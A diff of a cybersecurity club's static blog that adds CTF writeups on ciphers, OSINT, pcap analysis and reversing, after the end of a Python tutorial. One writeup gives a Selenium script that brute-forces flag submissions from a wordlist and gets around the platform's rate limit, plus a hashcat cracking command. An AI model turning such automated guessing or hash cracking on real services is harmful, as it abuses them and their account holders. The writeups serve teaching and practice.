style="color:#d3869b;">5</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Lambda functions get their name from lambda calculus, which is a model of computation invented by Alonzo Church.</p> +</blockquote> +<p>Lambda functions aren’t as powerful as named functions. They can only do things that require a single expression - usually equivalent to a single line of code. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="font-style:italic;color:#928374;">#named function +</span><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">polynomial</span><span>(</span><span style="color:#fdf4c1;">x</span><span>): +</span><span style="color:#fa5c4b;">return </span><span>x</span><span style="color:#fe8019;">**</span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">5</span><span style="color:#fe8019;">*</span><span>x </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">4 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(polynomial(</span><span style="color:#fe8019;">-</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">)) +</span><span> +</span><span style="font-style:italic;color:#928374;">#lambda +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">((</span><span style="color:#fa5c4b;">lambda </span><span style="color:#fdf4c1;">x: x</span><span style="color:#fe8019;">**</span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">5</span><span style="color:#fe8019;">*</span><span style="color:#fdf4c1;">x </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">) (</span><span style="color:#fe8019;">-</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<blockquote> +<p>In the code above, we created an anonymous function on the fly and called it with an argument.</p> +</blockquote> +<p>Lambda functions can be assigned to variables, and used like normal functions. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>double </span><span style="color:#fe8019;">= </span><span style="color:#fa5c4b;">lambda </span><span style="color:#fdf4c1;">x</span><span>: x </span><span style="color:#fe8019;">* </span><span style="color:#d3869b;">2 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(double(</span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<blockquote> +<p>However, there is rarely a good reason to do this - it is usually better to define a function with def instead.</p> +</blockquote> +<h2 id="map">map</h2> +<p>The function map takes a function and an iterable as arguments, and returns a new iterable with the function applied to each argument. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">add_five</span><span>(</span><span style="color:#fdf4c1;">x</span><span>): +</span><span style="color:#fa5c4b;">return </span><span>x </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">5 +</span><span> +</span><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">11</span><span>, </span><span style="color:#d3869b;">22</span><span>, </span><span style="color:#d3869b;">33</span><span>, </span><span style="color:#d3869b;">44</span><span>, </span><span style="color:#d3869b;">55</span><span>] +</span><span>result </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">map</span><span style="color:#fdf4c1;">(add_five, nums)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(result) +</span></code></pre> +<p>We could have achieved the same result more easily by using lambda syntax.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">11</span><span>, </span><span style="color:#d3869b;">22</span><span>, </span><span style="color:#d3869b;">33</span><span>, </span><span style="color:#d3869b;">44</span><span>, </span><span style="color:#d3869b;">55</span><span>] +</span><span> +</span><span>result </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">map</span><span style="color:#fdf4c1;">(</span><span style="color:#fa5c4b;">lambda </span><span style="color:#fdf4c1;">x: x</span><span style="color:#fe8019;">+</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">, nums)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(result) +</span></code></pre> +<h2 id="filter">filter</h2> +<p>The function filter filters an iterable by removing items that don’t match a predicate (a function that returns a Boolean). Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">11</span><span>, </span><span style="color:#d3869b;">22</span><span>, </span><span style="color:#d3869b;">33</span><span>, </span><span style="color:#d3869b;">44</span><span>, </span><span style="color:#d3869b;">55</span><span>] +</span><span>res </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">filter</span><span style="color:#fdf4c1;">(</span><span style="color:#fa5c4b;">lambda </span><span style="color:#fdf4c1;">x: x</span><span style="color:#fe8019;">%</span><span style="color:#d3869b;">2</span><span style="color:#fe8019;">==</span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">, nums)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(res) +</span></code></pre> +<blockquote> +<p>Like map, the result has to be explicitly converted to a list if you want to print it.</p> +</blockquote> +<h2 id="generators">Generators</h2> +<p>Generators are a type of iterable, like lists or tuples. Unlike lists, they don’t allow indexing with arbitrary indices, but they can still be iterated through with for loops. They can be created using functions and the yield statement. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">countdown</span><span>(): +</span><span> i</span><span style="color:#fe8019;">=</span><span style="color:#d3869b;">5 +</span><span> </span><span style="color:#fa5c4b;">while </span><span>i </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">0</span><span>: +</span><span> </span><span style="color:#fa5c4b;">yield </span><span>i +</span><span> i </span><span style="color:#fe8019;">-= </span><span style="color:#d3869b;">1 +</span><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fdf4c1;">countdown()</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(i) +</span></code></pre> +<blockquote> +<p>The yield statement is used to define a generator, replacing the return of a function to provide a result to its caller without destroying local variables.</p> +</blockquote> +<p>Due to the fact that they yield one item at a time, generators don’t have the memory restrictions of lists. In fact, they can be infinite!</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">infinite_sevens</span><span>(): +</span><span> </span><span style="color:#fa5c4b;">while </span><span style="color:#d3869b;">True</span><span>: +</span><span> </span><span style="color:#fa5c4b;">yield </span><span style="color:#d3869b;">7 +</span><span> +</span><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fdf4c1;">infinite_sevens()</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(i) +</span></code></pre> +<p>Result:</p> +<pre style="background-color:#282828;color:#fdf4c1aa;"><code><span>&gt;&gt;&gt; +</span><span>7 +</span><span>7 +</span><span>7 +</span><span>7 +</span><span>7 +</span><span>7 +</span><span>7 +</span><span>... +</span></code></pre> +<blockquote> +<p>In short, generators allow you to declare a function that behaves like an iterator, i.e. it can be used in a for loop.</p> +</blockquote> +<p>Finite generators can be converted into lists by passing them as arguments to the list function.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">numbers</span><span>(</span><span style="color:#fdf4c1;">x</span><span>): +</span><span> </span><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(x)</span><span>: +</span><span> </span><span style="color:#fa5c4b;">if </span><span>i </span><span style="color:#fe8019;">% </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">0</span><span>: +</span><span> </span><span style="color:#fa5c4b;">yield </span><span>i +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">(numbers(</span><span style="color:#d3869b;">11</span><span style="color:#fdf4c1;">))) +</span></code></pre> +<blockquote> +<p>Using generators results in improved performance, which is the result of the lazy (on demand) generation of values, which translates to lower memory usage. Furthermore, we do not need to wait until all the elements have been generated before we start to use them.</p> +</blockquote> +<h2 id="sets">Sets</h2> +<p>Sets are data structures, similar to lists or dictionaries. They are created using curly braces, or the set function. They share some functionality with lists, such as the use of in to check whether they contain a particular item.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>num_set </span><span style="color:#fe8019;">= </span><span>{</span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">2</span><span>, </span><span style="color:#d3869b;">3</span><span>, </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">5</span><span>} +</span><span>word_set </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">set</span><span style="color:#fdf4c1;">([</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;eggs&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;sausage&quot;</span><span style="color:#fdf4c1;">]) +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">3 </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">num_set) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;spam&quot; </span><span style="color:#fe8019;">not in </span><span style="color:#fdf4c1;">word_set) +</span></code></pre> +<blockquote> +<p>To create an empty set, you must use <code>set()</code>, as <code>{}</code> creates an empty dictionary.</p> +</blockquote> +<p>Sets differ from lists in several ways, but share several list operations such as len. They are unordered, which means that they can’t be indexed. They cannot contain duplicate elements. Due to the way they’re stored, it’s faster to check whether an item is part of a set, rather than part of a list. Instead of using append to add to a set, use add. The method remove removes a specific element from a set; pop removes an arbitrary element.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>{</span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">2</span><span>, </span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">3</span><span>, </span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">5</span><span>, </span><span style="color:#d3869b;">6</span><span>} +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(nums) +</span><span style="color:#fdf4c1;">nums.add(</span><span style="color:#fe8019;">-</span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">nums.remove(</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(nums) +</span></code></pre> +<blockquote> +<p>Basic uses of sets include membership testing and the elimination of duplicate entries.</p> +</blockquote> +<p>Sets can be combined using mathematical operations. The union operator <code>|</code> combines two sets to form a new one containing items in either. The intersection operator <code>&amp;</code> gets items only in both. The difference operator <code>-</code> gets items in the first set but not in the second. The symmetric difference operator <code>^</code> gets items in either set, but not both.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>first </span><span style="color:#fe8019;">= </span><span>{</span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">2</span><span>, </span><span style="color:#d3869b;">3</span><span>, </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">5</span><span>, </span><span style="color:#d3869b;">6</span><span>} +</span><span>second </span><span style="color:#fe8019;">= </span><span>{</span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">5</span><span>, </span><span style="color:#d3869b;">6</span><span>, </span><span style="color:#d3869b;">7</span><span>, </span><span style="color:#d3869b;">8</span><span>, </span><span style="color:#d3869b;">9</span><span>} +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(first </span><span style="color:#fe8019;">| </span><span style="color:#fdf4c1;">second) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(first </span><span style="color:#fe8019;">&amp; </span><span style="color:#fdf4c1;">second) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(first </span><span style="color:#fe8019;">- </span><span style="color:#fdf4c1;">second) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(second </span><span style="color:#fe8019;">- </span><span style="color:#fdf4c1;">first) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(first </span><span style="color:#fe8019;">^ </span><span style="color:#fdf4c1;">second) +</span></code></pre> + + + + diff --git a/tags/scripting/index.html b/tags/scripting/index.html new file mode 100644 index 0000000..417bff0 --- /dev/null +++ b/tags/scripting/index.html @@ -0,0 +1 @@ +exploiitm blog

scripting

\ No newline at end of file diff --git a/writeups/316_writeup/index.html b/writeups/316_writeup/index.html new file mode 100644 index 0000000..2ce7504 --- /dev/null +++ b/writeups/316_writeup/index.html @@ -0,0 +1,163 @@ +316 CTF
../316_writeup

316 CTF

316 CTF writeup

challenges over at: https://316ctf.com/

This CTF challenge requires you do a lot of hashcracking. The way you would generally approach this is using

  1. John the ripper
  2. Hashcat

But an unconventional approach would be to use this python script and let it run overnight. This will solve all the problems for you.

Note: Works on linux machines. Run this bash script first to install the necessary dependencies

	#!/bin/bash
+
+	error_exit() {
+	    echo "$1" 1>&2
+	    exit 1
+	}
+
+	# Check if pip is installed
+	if ! command -v pip &> /dev/null
+	then
+	    error_exit "pip could not be found. Please install pip first."
+	fi
+
+	# Check if Selenium is already installed
+	if pip show selenium &> /dev/null
+	then
+	    echo "Selenium is already installed."
+	fi
+
+	echo "Installing Selenium..."
+	if pip install selenium
+	then
+	    echo "Selenium installed successfully."
+	else
+	    error_exit "There was an issue installing Selenium. Check the traceback above for details."
+	fi
+
+	CHROMEDRIVER_URL="https://storage.googleapis.com/chrome-for-testing-public/127.0.6533.72/linux64/chromedriver-linux64.zip"
+	DESTINATION_DIR="$HOME/Desktop"
+
+	TEMP_DIR=$(mktemp -d)
+
+	if ! command -v curl &> /dev/null
+	then
+	    error_exit "curl could not be found. Please install curl first."
+	fi
+
+	if ! command -v unzip &> /dev/null
+	then
+	    error_exit "unzip could not be found. Please install unzip first."
+	fi
+
+	echo "Downloading ChromeDriver..."
+	if curl -L "$CHROMEDRIVER_URL" -o "$TEMP_DIR/chromedriver.zip"
+	then
+	    echo "Download complete."
+	else
+	    error_exit "Failed to download ChromeDriver."
+	fi
+
+	echo "Unzipping ChromeDriver..."
+	if unzip "$TEMP_DIR/chromedriver.zip" -d "$TEMP_DIR"
+	then
+	    echo "Unzipping complete."
+	else
+	    error_exit "Failed to unzip ChromeDriver."
+	fi
+
+	if mv "$TEMP_DIR/chromedriver-linux64/chromedriver" "$DESTINATION_DIR"
+	then
+	    echo "ChromeDriver moved to $DESTINATION_DIR."
+	else
+	    error_exit "Failed to move ChromeDriver to $DESTINATION_DIR."
+	fi
+
+	rm -rf "$TEMP_DIR"
+
+	echo "ChromeDriver installation completed successfully."
+
+	# URL of the latest Google Chrome for Linux
+
+	DESTINATION_DIR="/opt/google/chrome"
+
+	TEMP_DIR=$(mktemp -d)
+
+	# Ask the user if they have Google Chrome installed
+	read -p "Do you already have Google Chrome installed? (Y/N): " has_chrome
+
+	if [[ "$has_chrome" =~ ^[Yy]$ ]]
+	then
+	    echo "You already have Google Chrome installed. Exiting the script."
+	    exit 0
+	fi
+
+	echo "Downloading Google Chrome..."
+	if wget -q -O google-chrome-stable_current_amd64.deb https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
+	then
+	    echo "Download complete."
+	else
+	    error_exit "Failed to download Google Chrome."
+	fi
+	echo "Following requires your sudo password"
+	sudo dpkg -i google-chrome-stable_current_amd64.deb
+
+	echo "Google Chrome installation completed successfully."
+

Make sure you say “N” to having chrome. This is because it requires the specific version which you may not have. After this you can run this python script.

Just make sure to enter your email address and password in the script for a smooth login.

	#!/usr/bin/env python3
+
+	import time
+	from selenium import webdriver
+	from selenium.webdriver.common.by import By
+	from bs4 import BeautifulSoup
+	from selenium.webdriver.support.ui import WebDriverWait
+	from selenium.webdriver.support import expected_conditions as EC
+	from selenium.common.exceptions import TimeoutException
+
+	print('wait...')
+	
+	home_directory = os.path.expanduser("~")
+	file_path = os.path.join(home_directory, "Desktop" , "chromedriver")
+	
+	service = webdriver.ChromeService(executable_path= file_path) # path to chromedriver executable
+	driver = webdriver.Chrome(service = service)
+
+	email = ''
+	password = ''
+
+	login_url = f'https://play.316ctf.com/login'
+	driver.get(login_url)
+	driver.find_element(By.NAME,'name').send_keys(email)
+	driver.find_element(By.NAME,'password').send_keys(password)
+	driver.find_element(By.NAME, "_submit").click()
+
+	def open_file(file_path):
+		with open(file_path,'r') as fp:
+			possible_passwords = fp.readlines()
+		return possible_passwords
+
+	file_path = r'/home/.../dictionary-list.txt' # path to dictionary list
+	possible_passwords = open_file(file_path)
+
+	def start_page():
+		challenge_url = 'https://play.316ctf.com/challenges#Huntsville%20#1-121'
+		driver.get(challenge_url)
+		delay = 3 #seconds
+		try:
+			myElem = WebDriverWait(driver,delay).until(EC.presence_of_element_located((By.ID, 'challenge-input')))
+		except TimeoutException:
+			print('page took too long')
+
+	start_page()
+
+	for password in possible_passwords:
+		possible_answer = password
+		driver.find_element(By.ID, 'challenge-input').send_keys(possible_answer)
+		driver.find_element(By.ID, 'challenge-submit').click()
+		time.sleep(0.9)
+		result = driver.find_element(By.ID, 'result-message').text
+		if result == 'correct':
+			print(f'GOT IT: {password}')
+			break
+		elif result == "You're submitting flags too fast. Slow down.":
+			print(f'too fast: {password}')
+			driver.refresh()
+			start_page()
+			time.sleep(5)
+		else:
+			print(f'WRONG: {password}')
+		answer_field = driver.find_element(By.ID, 'challenge-input')
+		answer_field.clear()
+		time.sleep(1)
+

If you want to go the more traditional way then the following would help you

hashcat -m 0 -a 0 hash.txt dictionary-list.txt --show
+

Just run

hashcat --help
+

to understand the possible things this boy can do.

\ No newline at end of file diff --git a/writeups/Cyber3301/DontCheatPlayFair/index.html b/writeups/Cyber3301/DontCheatPlayFair/index.html new file mode 100644 index 0000000..b04ad8d --- /dev/null +++ b/writeups/Cyber3301/DontCheatPlayFair/index.html @@ -0,0 +1,9 @@ +DontCheat PlayFair
../DontCheatPlayFair

DontCheat PlayFair

Don’t cheat, play fair

The title gives away that it’s a playfair cipher, ‘play fair’ should hint that the key is the word fair.

You can use a tool to decrypt it, giving the clue dragon chicken is my favourite

This was the only round of the treasure hunt which required you to visit a physical place in insti.

Hopefully dragon chicken set you off to go to zaitoon.

The poem, was once again, encrypted in playfair with the keyword ‘fair’

Gives you a poem with the first letters of every line spelling

	A
+	C
+	R
+	O
+	S
+	T
+	I
+	C
+

Acrostic poems give you a message when you join the first letters of each line.

This is unrelated to zaitoon, but hopefully set you off in the general direction of joining first letters of menu items for the password

The section with dragon chicken on the menu would give you dccdcchccpgg

Wrap in cyber3301.

\ No newline at end of file diff --git a/writeups/Cyber3301/game/index.html b/writeups/Cyber3301/game/index.html new file mode 100644 index 0000000..0a03cc6 --- /dev/null +++ b/writeups/Cyber3301/game/index.html @@ -0,0 +1 @@ +Game
../game

Game

Writeup - Game

Q1. We're looking for highly intelligent individuals:

Karatsuba’s gives a hint about multiplication as it’s a multiplication algo

Also, hints given mentioned the way cicada 3301 had used the dimensions of their first image

hence they had to find the very first image on our website, our logo, and take the product of dimensions

Q2:

Use the product from the previous level for this

Then find the “date of birth” of the club mentioned in the website.

then search up cicada 3301 wingspan to find the fact that original Cicada poster had a unique species

Q3:

Hint from the last question leads to the book

Our github reveals a post that was recently removed that had the description of the post about the “book”

This leads to ny repo which has the text editor clearly mentioned that is helix.

\ No newline at end of file diff --git a/writeups/Cyber3301/index.html b/writeups/Cyber3301/index.html new file mode 100644 index 0000000..f400615 --- /dev/null +++ b/writeups/Cyber3301/index.html @@ -0,0 +1 @@ +Redirect

Click here to be redirected. \ No newline at end of file diff --git a/writeups/Cyber3301/mathBreak/index.html b/writeups/Cyber3301/mathBreak/index.html new file mode 100644 index 0000000..1495022 --- /dev/null +++ b/writeups/Cyber3301/mathBreak/index.html @@ -0,0 +1,19 @@ +Math Break

../mathBreak

Math Break

Math Break

Part 1 Description:

Math break !!
+1 , 3 , 5 , 7 , ... ?
+What number will be next?
+(Don't trust the numbers on internet. Trust the numbers which we have)
+

This part is a viral math meme. Even if you don’t have any idea about the meme, a quick google search will give you the picture of what number would be next.

image info

From the image, we can see that the number can be arbitrary (as shown in the image using polynomial interpolation). But the description says “Trust the number which we have”. The only number that we have is 3301 , and we conclude that the missing number is 3301.

Get the Map to the place which the numbers corresponds 
+

This statement implies us to get the graph/plot of the function the numbers correspond to

Now using these 5 values, just as how the image has a polynomial function constructed, we also construct a polynomial function. Set up the linear equations and solve them using an online solver

image info2

image info3

Part 2 Description:

View with from a place where you can just see the 150s of x and y.
+Hear the valleys and the mountains. Hear the roots of the trees.
+What do they say? Don't care about the octave.
+Once you feel them perfectly, you'll get the answer...
+

Once we plot the function, we have valleys(minima) , mountains(maxima) and roots. If you use desmos, you might know that desmos has a functionality to hear the graphs. If we search about how the musical notes are correlated, we can find that the notes made by the desmos graphs are

  1. dependent on the points we choose(which is by default, the maxima , minima and the roots of the polynomial)
  2. dependent on where you look the graph from.

image info4

So, if we notice, the first line asks us to view it from 150s of x and y. So we set the visible region from -150 <= x <= 150 and -150 <= y <= 150.

Now we have the proper setup to hear the notes. We can use any notes detector app to get the musical notes at each point. With enough patience, we can see that the notes correspond to A#4 , F4 , A#4 ,C#4 ,A#1 , F4 , A#4

Don't care about the octave
+

explicitly asks us not to worry about the octave and just take the notes.

So, from desmos we get the following musical notes put together as A#FA#C#A#FA# . Use the decoder given (decoder.exe) to decode this and get the flag.

$ ./decoder.exe
+Enter the string to be decoded(without spaces):
+A#FA#C#A#FA#
+Decoding..
+
+Decoded message: cyber3301{osint_ez}
+
+Hope this is correct
+

\ No newline at end of file diff --git a/writeups/Cyber3301/mrworldwide/index.html b/writeups/Cyber3301/mrworldwide/index.html new file mode 100644 index 0000000..32c4ea6 --- /dev/null +++ b/writeups/Cyber3301/mrworldwide/index.html @@ -0,0 +1 @@ +Mr Worldwide
../mrworldwide

Mr Worldwide

Mr Worldwide

Let’s start by searching for the newly founded company Globetrail2024 on Instagram.

It didn’t take long to find their account, and among the posts, one in particular stood out. The post mentioned a contest winner and included a QR code that looked interesting. Scanning the code seemed like a good next step, and sure enough, it led to the profile of the contest winner. At this point, it was clear that the display picture on the winner’s account matched the image from the post.

There were two ways to move forward from here: either browse through the posts with the same hashtag or directly search for the winner’s account. The display picture seemed to provide a clue, and after some searching, the account of Anirudh Vedant was found, confirming the identity of the contest winner.

Next came the task of identifying the cities linked to the contest. For the first post, which featured a coffee shop, increasing the brightness of the image revealed hidden coordinates, which led to a coffee shop in New York (NY). The second city was easier to uncover, quick reverse image search showed that the photo was from Paris (P). The same technique worked for the third image, which pointed to Tokyo (T).

With all the pieces falling into place, the challenge became clearer!

\ No newline at end of file diff --git a/writeups/Cyber3301/writeup/index.html b/writeups/Cyber3301/writeup/index.html new file mode 100644 index 0000000..c1de652 --- /dev/null +++ b/writeups/Cyber3301/writeup/index.html @@ -0,0 +1 @@ +Writeup for Cyber3301
../writeup

Writeup for Cyber3301

Challenges

\ No newline at end of file diff --git a/writeups/Cyber3301/writeup_piet/index.html b/writeups/Cyber3301/writeup_piet/index.html new file mode 100644 index 0000000..936defe --- /dev/null +++ b/writeups/Cyber3301/writeup_piet/index.html @@ -0,0 +1 @@ +Piet
../writeup_piet

Piet

Writeup - Piet Program

We’ve been given a png file which is basically a piet program image. We just need to upload it here - https://www.bertnase.de/npiet/npiet-execute.php

After executing,we retrieve the following information

When working on binary exploitation, remember that memory management is critical. Always sanitize inputs to avoid exposing unnecessary vulnerabilities. Overflowing the stack might bypass certain protections, but make sure you manage heap allocation effectively to prevent issues with ASLR. If you’re chaining together ROP gadgets, confirm they execute in the right order; improper control flow could lead to unpredictable results. A good exploit can be subtle;mjust like hiding important details in plain sight, such as a password hidden in a heap spray. Anyways, enough of that gibberish. The password you are looking for isssssssssssssssssss here: https://katb.in/vowuhevizoh

Opening the katbin link gives the flag - cyber3301{put_lite}

\ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/Befunge/index.html b/writeups/Guild_Selection_CTF/Befunge/index.html new file mode 100644 index 0000000..e06bfe4 --- /dev/null +++ b/writeups/Guild_Selection_CTF/Befunge/index.html @@ -0,0 +1,7 @@ +Befunge
../Befunge

Befunge

This challenge gives us this cryptic text, and nothing else

	Vielaedhc tdtycsus us one xrto. Cra kiryyc ntje prie rv td uzet rd onus uv cra tooedzez one hcmeisehaiuoc hyam's hickor sessurd wZ.btom.ud/qebuktzuyab. U'p faso ctkkudx neie t muo prie sr onto one orry lauklauk gribs etsuyc. Kirks or cra uv cra sryjez onus.
+

The first thought the comes to mind when I see plaintext encryption is simple rot like ceaser cipher. So, I tired rotating the letters for all possible combinations and nothing made sense.

The next way to attack this is using frequency analysis. Note that frequency analysis in general, always works. If the plain text has been encoded using a single key and a letter x always maps to a letter y, then frequency analysis is the way to go.

So, head over to

	https://www.101computing.net/frequency-analysis/
+

and start guessing and checking. You just want the text to resemble plaintext english, so, make use of all the grammer that you know! (Note that frequency analysis actually means something different, its based off of the idea that some letter are more frequent than other letters and therefore in cases when a text is encrypted while preserving the frequencies, we can determine the original letters using just that).

I like to do it this way, cause it seems more fun, but you might want to write a program for this (if the text is too big, then sure a python script is necessary).

The final decrypted message looks like this:

	FREQUENCY ANALYSIS IS THE GOAT. YOU PROLLY HAVE MORE OF AN IDEA ON THIS IF YOU ATTENDED THE CYBERSECURITY CLUB'S CRYPTO SESSION *D.KATB.IN/*EKIPADILUK. I'M JUST YAPPING HERE A BIT MORE SO THAT THE TOOL QUIPQUIP WORKS EASILY. PROPS TO YOU IF YOU SOLVED THIS.
+

Now, thats obviously a katbin link. If you’ve never seen katbin before, its okay. A quick googing of this link format will tell you everything you need to know. You’ll notice that we only need the part KATB.IN/*EKIPADILUK and katbin links are always lowercase so katb.in/*ekipadiluk.

What comes in place of the star? There are only 2 options, so we’ll just try both (x and z). Trying with z opens up katbin with the following message,

	Use your brains and decode this!
+	+[----->+++<]>+.+++++++.+.-----------.------.-[->++++<]>+.----------.++++++.[->+++<]>.+++++.+++++.-----.++++++++++.++++++.+[->+++<]>.+++++++.++++++++++++.+++++++.[->+++++<]>++.-[->++++<]>+.----------.++++++.---.+++[->+++<]>.+++.[--->+<]>----.+++[->+++<]>++.++++++++.+++++.+++++.
+	Good luck :)
+

Googling this format will let you know that this is a famous (or infamous) programming language called brainfuck. We can find sites that will execute this script for us, so we needn’t worry! (head over to: https://www.dcode.fr/brainfuck-language). Executing this, gives us the flag!

flag: iitmctf{hope_you_didnt_fry_your_brains}

\ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/ConverseWithSecrecy/index.html b/writeups/Guild_Selection_CTF/ConverseWithSecrecy/index.html new file mode 100644 index 0000000..ac8ac43 --- /dev/null +++ b/writeups/Guild_Selection_CTF/ConverseWithSecrecy/index.html @@ -0,0 +1,3 @@ +Converse with secrecy
../ConverseWithSecrecy

Converse with secrecy

Converse with secrecy

We’ve been given a pcapng file, which is a wireshark network capture image. If we open this file using wireshark (or alternatively, you can just using strings).

Actually, strings is an easier method. So, use the following command to display all the strings in the pcapng file.

	strings conversation.pcapng
+

You can probably read a bunch of text messages. If you analyse them you’ll see that it expects us to find the Game of the year awardee for the year when Will Smith got defensive.

If we google that year, it was 2022. Thus, checking the records for game of the year winners of 2022, we get this one name frequently,

	Elden Rings
+

our answer is therefore elden rings! Formatting it properly gives the flag (according to the description)

flag: iitmCTF{elden_rings}

\ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/HuffmanEncoding/index.html b/writeups/Guild_Selection_CTF/HuffmanEncoding/index.html new file mode 100644 index 0000000..ca67ff6 --- /dev/null +++ b/writeups/Guild_Selection_CTF/HuffmanEncoding/index.html @@ -0,0 +1,292 @@ +Huffing and puffing
../HuffmanEncoding

Huffing and puffing

In this we’ve been given a binary file, that we are supposed to exploit somehow. If we run this using IDA, we get a lot of functions. We can list down a bunch of important ones,

  1. buildHuffmanTree
  2. buildCodes
  3. encode
  4. binaryStringToInt
  5. binaryStringToMatrix
  6. largestPrimeFactor

It’s evident that, there is huffman encoding involved! If we check out the largestPrimeFactor its simply giving the largest prime factor for a given number. You might try opening this with Ghidra as well,

binaryStringToMatrix() seems interesting

	for (local_28 = 0; __n = local_28, (int)local_28 < (int)local_3c; local_28 = local_28 + 1) {
+		this_00 = std::vector<>::operator[](&local_1f4,local_24);
+		pvVar7 = std::vector<>::operator[](this_00,__n);
+		std::__cxx11::to_string(*pvVar7);
+		std::__cxx11::basic_string<>::operator+=((basic_string<> *)&local_218,local_f4);
